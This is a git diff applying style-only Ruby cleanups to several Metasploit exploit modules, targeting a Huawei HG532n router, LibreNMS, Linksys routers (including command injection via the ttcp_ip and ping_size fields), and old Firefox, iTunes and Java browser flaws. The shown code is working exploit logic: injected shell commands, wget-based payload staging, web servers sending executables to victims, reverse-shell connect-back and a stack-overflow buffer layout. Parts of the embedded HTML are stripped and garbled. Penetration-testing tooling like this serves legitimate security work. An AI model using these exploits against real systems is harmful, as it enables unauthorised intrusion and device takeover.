/InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ vars_post = {} res.body.scan(portforward_key).uniq.each do |key| - vars_post[key] = "" + vars_post[key] = '' end res = send_request_cgi( @@ -273,7 +273,7 @@ class MetasploitModule < Msf::Exploit::Remote ) return if res && res.code == 200 - print_warning "Could not re-hide exposed telnet port" + print_warning 'Could not re-hide exposed telnet port' end # @@ -292,7 +292,7 @@ class MetasploitModule < Msf::Exploit::Remote ) return if res && res.code == 200 - print_warning "Could not logout from web interface. Future web logins may fail!" + print_warning 'Could not logout from web interface. Future web logins may fail!' end # @@ -304,12 +304,10 @@ class MetasploitModule < Msf::Exploit::Remote # this by sending a refresh request every second. # def web_operation - begin - cookie = web_login - yield cookie - ensure - web_logout(cookie) unless cookie.nil? - end + cookie = web_login + yield cookie + ensure + web_logout(cookie) unless cookie.nil? end # @@ -345,31 +343,29 @@ class MetasploitModule < Msf::Exploit::Remote read_until(sock, timeout, 'Password:') sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA) rescue ::Timeout::Error - fail_with(Failure::UnexpectedReply, "Expected first password banner not received") + fail_with(Failure::UnexpectedReply, 'Expected first password banner not received') end begin read_until(sock, timeout, 'Password:') # Router bug sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY) rescue ::Timeout::Error - fail_with(Failure::UnexpectedReply, "Expected second password banner not received") + fail_with(Failure::UnexpectedReply, 'Expected second password banner not received') end end def telnet_prompt_wait(error_regex = nil) - begin - result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) - if error_regex - error_regex = [error_regex] unless error_regex.is_a? Array - error_regex.each do |regex| - if result.match? regex - fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") - end + result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) + if error_regex + error_regex = [error_regex] unless error_regex.is_a? Array + error_regex.each do |regex| + if result.match? regex + fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") end end - rescue ::Timeout::Error - fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") end + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") end # @@ -389,11 +385,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Timeout' => @telnet_timeout ) if @telnet_sock.nil? - fail_with(Failure::Unreachable, "Exposed telnet port unreachable") + fail_with(Failure::Unreachable, 'Exposed telnet port unreachable') end add_socket(@telnet_sock) - print_good "Connection succeeded. Passing telnet credentials" + print_good 'Connection succeeded. Passing telnet credentials' telnet_auth_negotiation(@telnet_sock, @telnet_timeout) print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" @@ -427,7 +423,7 @@ class MetasploitModule < Msf::Exploit::Remote @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY) telnet_prompt_wait(error_regex) - print_good "Command executed successfully" + print_good 'Command executed successfully' end # @@ -436,11 +432,11 @@ class MetasploitModule < Msf::Exploit::Remote def start_http_server @pl = generate_payload_exe - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) resource_uri = '/' + downfile if datastore['DOWNHOST'] - print_status "Will not start local web server, as DOWNHOST is already defined" + print_status 'Will not start local web server, as DOWNHOST is already defined' else print_status("Starting web server; hosting #{resource_uri}") start_service( @@ -459,7 +455,7 @@ class MetasploitModule < Msf::Exploit::Remote # HTTP server incoming request callback # def on_request_uri(cli, _request) - print_good "HTTP server received request. Sending payload to victim" + print_good 'HTTP server received request. Sending payload to victim' send_response(cli, @pl) end @@ -475,7 +471,7 @@ class MetasploitModule < Msf::Exploit::Remote srv_host = if datastore['DOWNHOST'] datastore['DOWNHOST'] - elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" + elsif datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' Rex::Socket.source_address(rhost) else datastore['SRVHOST'] @@ -499,7 +495,7 @@ class MetasploitModule < Msf::Exploit::Remote # will lose the payload's signal otherwise. # def wait_for_payload_session - print_status "Waiting for the payload to connect back .." + print_status 'Waiting for the payload to connect back ..' begin Timeout.timeout(datastore['ListenerTimeout']) do loop do @@ -509,9 +505,9 @@ class MetasploitModule < Msf::Exploit::Remote end end rescue ::Timeout::Error - fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") + fail_with(Failure::Unknown, 'Timeout waiting for payload to start/connect-back') end - print_good "Payload connected!" + print_good 'Payload connected!' end # @@ -521,10 +517,10 @@ class MetasploitModule < Msf::Exploit::Remote def exploit print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" unless check == Exploit::CheckCode::Appears - fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") + fail_with(Failure::Unknown, 'Unable to validate device fingerprint. Is it an HG532n?') end - print_good "Good. Router seems to be a vulnerable HG532n device" + print_good 'Good. Router seems to be a vulnerable HG532n device' telnet_port = nil web_operation do |cookie| diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb index 2ce5f89093..b458188488 100644 --- a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote version = html.search('tr//td//a') fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty? version.each do |e| - return $1 if e.text =~ /(\d+\.\d+\.?\d*)/ + return ::Regexp.last_match(1) if e.text =~ /(\d+\.\d+\.?\d*)/ end end @@ -179,7 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote end def get_plugin_info(id) - uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd") + uri = normalize_uri(target_uri.path, 'device', "device=#{id}", 'tab=collectd') res = send_request_cgi('method' => 'GET', 'uri' => uri, 'cookie' => @cookies) return unless res && res.code == 200 @@ -220,7 +220,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1 print_status("Sending payload via device #{collectd_device}") - res = send_request_cgi( + send_request_cgi( 'method' => 'GET', 'uri' => req_uri, 'cookie' => @cookies, diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 23b9c38573..b8a4d68afc 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -77,32 +77,30 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd, user, pass, uri) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'POST', - 'authorization' => basic_auth(user, pass), - 'vars_post' => { - "submit_button" => "Diagnostics", - "change_action" => "gozila_cgi", - "submit_type" => "start_ping", - "action" => "", - "commit" => "0", - "ping_ip" => "1.1.1.1", - "ping_size" => "{cmd}&", - "ping_times" => "5", - "traceroute_ip" => "" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user, pass), + 'vars_post' => { + 'submit_button' => 'Diagnostics', + 'change_action' => 'gozila_cgi', + 'submit_type' => 'start_ping', + 'action' => '', + 'commit' => '0', + 'ping_ip' => '1.1.1.1', + 'ping_size' => "{cmd}&", + 'ping_times' => '5', + 'traceroute_ip' => '' + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) uri = '/apply.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] @@ -132,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote end if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -160,7 +158,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -170,9 +168,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -225,9 +223,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -241,7 +239,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index a3bdcb915a..afce3225ef 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -72,27 +72,25 @@ class MetasploitModule < Msf::Exploit::Remote deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end - def execute_command(cmd, opts) - begin - res = send_request_cgi({ - 'uri' => '/tmUnblock.cgi', - 'method' => 'POST', - 'encode_params' => true, - 'vars_post' => { - "submit_button" => "", - "change_action" => "", - "action" => "", - "commit" => "0", - "ttcp_num" => "2", - "ttcp_size" => "2", - "ttcp_ip" => "-h `#{cmd}`", - "StartEPI" => "1" - } - }, 2) - return res - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") - end + def execute_command(cmd, _opts) + res = send_request_cgi({ + 'uri' => '/tmUnblock.cgi', + 'method' => 'POST', + 'encode_params' => true, + 'vars_post' => { + 'submit_button' => '', + 'change_action' => '', + 'action' => '', + 'commit' => '0', + 'ttcp_num' => '2', + 'ttcp_size' => '2', + 'ttcp_ip' => "-h `#{cmd}`", + 'StartEPI' => '1' + } + }, 2) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end def check @@ -113,13 +111,13 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("Trying to access the vulnerable URL...") + print_status('Trying to access the vulnerable URL...') unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") end - print_status("Exploiting...") - execute_cmdstager({ :flavor => :wget }) + print_status('Exploiting...') + execute_cmdstager({ flavor: :wget }) end end diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index 14463a50ea..ee1d5eb4be 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -78,32 +78,30 @@ class MetasploitModule < Msf::Exploit::Remote end def request(cmd, user, pass, uri) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'POST', - 'authorization' => basic_auth(user, pass), - 'vars_post' => { - "submit_button" => "Diagnostics", - "change_action" => "gozila_cgi", - "submit_type" => "start_ping", - "action" => "", - "commit" => "0", - "ping_ip" => "1.1.1.1", - "ping_size" => "{cmd}&", - "ping_times" => "5", - "traceroute_ip" => "" - } - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user, pass), + 'vars_post' => { + 'submit_button' => 'Diagnostics', + 'change_action' => 'gozila_cgi', + 'submit_type' => 'start_ping', + 'action' => '', + 'commit' => '0', + 'ping_ip' => '1.1.1.1', + 'ping_size' => "{cmd}&", + 'ping_times' => '5', + 'traceroute_ip' => '' + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil end def exploit - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(4)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..11)) uri = '/apply.cgi' user = datastore['HttpUsername'] pass = datastore['HttpPassword'] @@ -132,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote end if target.name =~ /CMD/ - if not (datastore['CMD']) + if !(datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded @@ -206,7 +204,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @tftp.files.length == 0) + until (@tftp.files.length == 0) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['DELAY']) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 13c1773e01..095075cc20 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -81,10 +81,10 @@ class MetasploitModule < Msf::Exploit::Remote def get_config(config, pattern) if config =~ /#{pattern}/ - return $1 + return ::Regexp.last_match(1) end - return "" + return '' end def grab_config(user, pass) @@ -135,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Remote @wan_hostname_orig = get_config(res.body, "<\/FONT><\/TD>") @wan_mtu_orig = get_config(res.body, "<\/TD>") if @wan_mtu_orig.to_i > 1500 - @mtu_enable = "0" + @mtu_enable = '0' end @ui_language_orig = get_config(res.body, " -^ +) end end diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 38141bac18..b493b3f03e 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Payload' => { 'Space' => 1000 + (rand(256).to_i * 4), - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Targets' => [ [ @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Firefox 1.5.0.0 Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -61,11 +61,11 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(cli)).nil?) - print_status("Sending #{self.name}") + print_status("Sending #{name}") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) handler(cli) end diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index 5f4f823b6d..35c9cb13b9 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -49,8 +49,8 @@ class MetasploitModule < Msf::Exploit::Remote 'EncoderOptions' => { 'BufferRegister' => 'ECX', # See the comments below - 'BufferOffset' => 3, # See the comments below - }, + 'BufferOffset' => 3 # See the comments below + } }, 'Targets' => [ [ @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote # itms:// or itmss:// can be used. The trailing colon is used # to start the attack. All data after the colon is copied to the # stack buffer. - itms_base_url = "itms://:" + itms_base_url = 'itms://:' itms_base_url << rand_text_alpha(268) # Fill up the real buffer itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp itms_base_url << target['Addr'] # hullo there, jmp *%ecx! @@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote # case, it will point to the beginning. The ! is there to make the # alphanumeric shellcode execute easily. (This is why we need an offset # of 3 in the payload). - itms_base_url << "/:!?" # Truncate the stack buffer overflow and prep for payload + itms_base_url << '/:!?' # Truncate the stack buffer overflow and prep for payload itms_base_url << p # Wooooooo! Payload time. # We drop on a few extra bytes as the last few bytes can sometimes be # corrupted. @@ -116,17 +116,17 @@ class MetasploitModule < Msf::Exploit::Remote EOS end - def on_request_uri(cli, request) - print_status("Generating payload...") - return unless (p = regenerate_payload(cli)) + def on_request_uri(cli, _request) + print_status('Generating payload...') + return unless (regenerate_payload(cli)) # print_status("=> #{payload.encoded}") print_status("=> #{payload.encoded.length} bytes") - print_status("Generating HTML container...") + print_status('Generating HTML container...') page = generate_itms_page(payload.encoded) # print_status("=> #{page}") - print_status("Sending itms page") + print_status('Sending itms page') header = { 'Content-Type' => 'text/html' } send_response_html(cli, page, header) diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index 5e29e44dcb..4fc3fdbd98 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ :javascript => false }) + autopwn_info({ javascript: false }) def initialize(info = {}) super( @@ -47,35 +47,35 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -92,8 +92,8 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # load the static jar file - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar") - fd = File.open(path, "rb") + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-0507.jar') + fd = File.open(path, 'rb') @jar_data = fd.read(fd.stat.size) fd.close @@ -101,21 +101,21 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - data = "" - host = "" - port = "" + data = '' + host = '' + port = '' - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect(cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(%r{/$}) + send_redirect(cli, get_resource + '/', '') return end - print_status("Sending #{self.name}") + print_status("Sending #{name}") payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") + if !payload + print_error('Failed to generate the payload.') return end @@ -124,17 +124,17 @@ class MetasploitModule < Msf::Exploit::Remote jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] - vprint_status("Sending java reverse shell") + vprint_status('Sending java reverse shell') else port = datastore['LPORT'] host = cli.peerhost - vprint_status("Java bind shell") + vprint_status('Java bind shell') end if jar print_status("Generated jar to drop (#{jar.length} bytes).") - jar = Rex::Text.to_hex(jar, prefix = "") + jar = Rex::Text.to_hex(jar, '') else - print_error("Failed to generate the executable.") + print_error('Failed to generate the executable.') return end else @@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote data = generate_payload_exe print_status("Generated executable to drop (#{data.length} bytes).") - data = Rex::Text.to_hex(data, prefix = "") + data = Rex::Text.to_hex(data, '') end @@ -151,27 +151,27 @@ class MetasploitModule < Msf::Exploit::Remote return end - print_status("Sending jar") - send_response(cli, generate_jar(), { 'Content-Type' => "application/octet-stream" }) + print_status('Sending jar') + send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' }) handler(cli) end def generate_html(data, jar, host, port) - jar_name = rand_text_alpha(rand(6) + 3) + ".jar" + jar_name = rand_text_alpha(rand(3..8)) + '.jar' - html = "" - html += "" + html = '' + html += '' html += "" + html += '' return html end - def generate_jar() + def generate_jar return @jar_data end end diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index 67ce825029..a2bc30c22e 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 1024, 'BadChars' => '', - 'DisableNops' => true, + 'DisableNops' => true }, 'Targets' => [ =begin @@ -68,14 +68,14 @@ No automatic targetting for now ... 'J2SE 1.6_16 on Mac OS X PPC', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'J2SE 1.6_16 on Mac OS X x86', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -92,8 +92,8 @@ No automatic targetting for now ... def exploit # load the static jar - path = File.join(Msf::Config.data_directory, "exploits", "CVE-2009-3867.jar") - fd = File.open(path, "rb") + path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3867.jar') + fd = File.open(path, 'rb') @jar_data = fd.read(fd.stat.size) fd.close @@ -109,14 +109,14 @@ No automatic targetting for now ... if (target.name =~ /Automatic/) case req.headers['User-Agent'] when /Windows/i - print_status("Choosing a Windows target") - @targetcache[cli.peerhost][:target] = self.targets[1] + print_status('Choosing a Windows target') + @targetcache[cli.peerhost][:target] = targets[1] when /PPC Mac OS X/i - print_status("Choosing a Mac OS X PPC target") - @targetcache[cli.peerhost][:target] = self.targets[2] + print_status('Choosing a Mac OS X PPC target') + @targetcache[cli.peerhost][:target] = targets[2] when /Intel Mac OS X/i - print_status("Choosing a Mac OS X x86 target") - @targetcache[cli.peerhost][:target] = self.targets[3] + print_status('Choosing a Mac OS X x86 target') + @targetcache[cli.peerhost][:target] = targets[3] else print_status("Unknown target for: #{req.headers['User-Agent']}") end @@ -133,17 +133,17 @@ No automatic targetting for now ... rmq.each { |addr| @targetcache.delete(addr) } # Request processing - if (not req.uri.match(/\.jar$/i)) + if (!req.uri.match(/\.jar$/i)) # Redirect to the base directory so the applet code loads... - if (not req.uri.match(/\/$/)) - print_status("Sending redirect so path ends with / ...") - send_redirect(cli, get_resource() + '/', '') + if (!req.uri.match(%r{/$})) + print_status('Sending redirect so path ends with / ...') + send_redirect(cli, get_resource + '/', '') return end # Display the applet loading HTML - print_status("Sending HTML") + print_status('Sending HTML') send_response_html(cli, generate_html(payload.encoded), { 'Content-Type' => 'text/html', @@ -153,7 +153,7 @@ No automatic targetting for now ... end # Send the actual applet over - print_status("Sending applet") + print_status('Sending applet') send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream', @@ -185,7 +185,7 @@ No automatic targetting for now ... # add payload debug_payload = false - pload = "" + pload = '' pload << "\xcc" if debug_payload pload << pl if ((pload.length % 4) > 0) @@ -204,16 +204,15 @@ No automatic targetting for now ... return html end - def generate_applet(cli, req) - this_target = nil + def generate_applet(cli, _req) if (target.name =~ /Automatic/) if (@targetcache[cli.peerhost][:target]) - this_target = @targetcache[cli.peerhost][:target] + @targetcache[cli.peerhost][:target] else return '' end else - this_target = target + target end return @jar_data diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index d3224f5fe1..c1151a7647 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -44,28 +44,28 @@ class MetasploitModule < Msf::Exploit::Remote 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], ], @@ -81,19 +81,19 @@ class MetasploitModule < Msf::Exploit::Remote end def setup - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "Exploit.class") - @exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver.class") - @driver_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver2.class") - @driver2_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object") - @object_services = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver") - @driver_services = File.open(path, "rb") { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'Exploit.class') + @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'FakeDriver.class') + @driver_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'FakeDriver2.class') + @driver2_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'META-INF', 'services', 'java.lang.Object') + @object_services = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'META-INF', 'services', 'java.sql.Driver') + @driver_services = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) } - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) + @exploit_class_name = rand_text_alpha('Exploit'.length) + @exploit_class.gsub!('Exploit', @exploit_class_name) @jnlp_name = rand_text_alpha(8) @@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote def jnlp_file jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp" - jnlp = %Q| + jnlp = %(Loading, Please Wait...
Loading, Please Wait...
Loading, Please Wait...
Loading, Please Wait...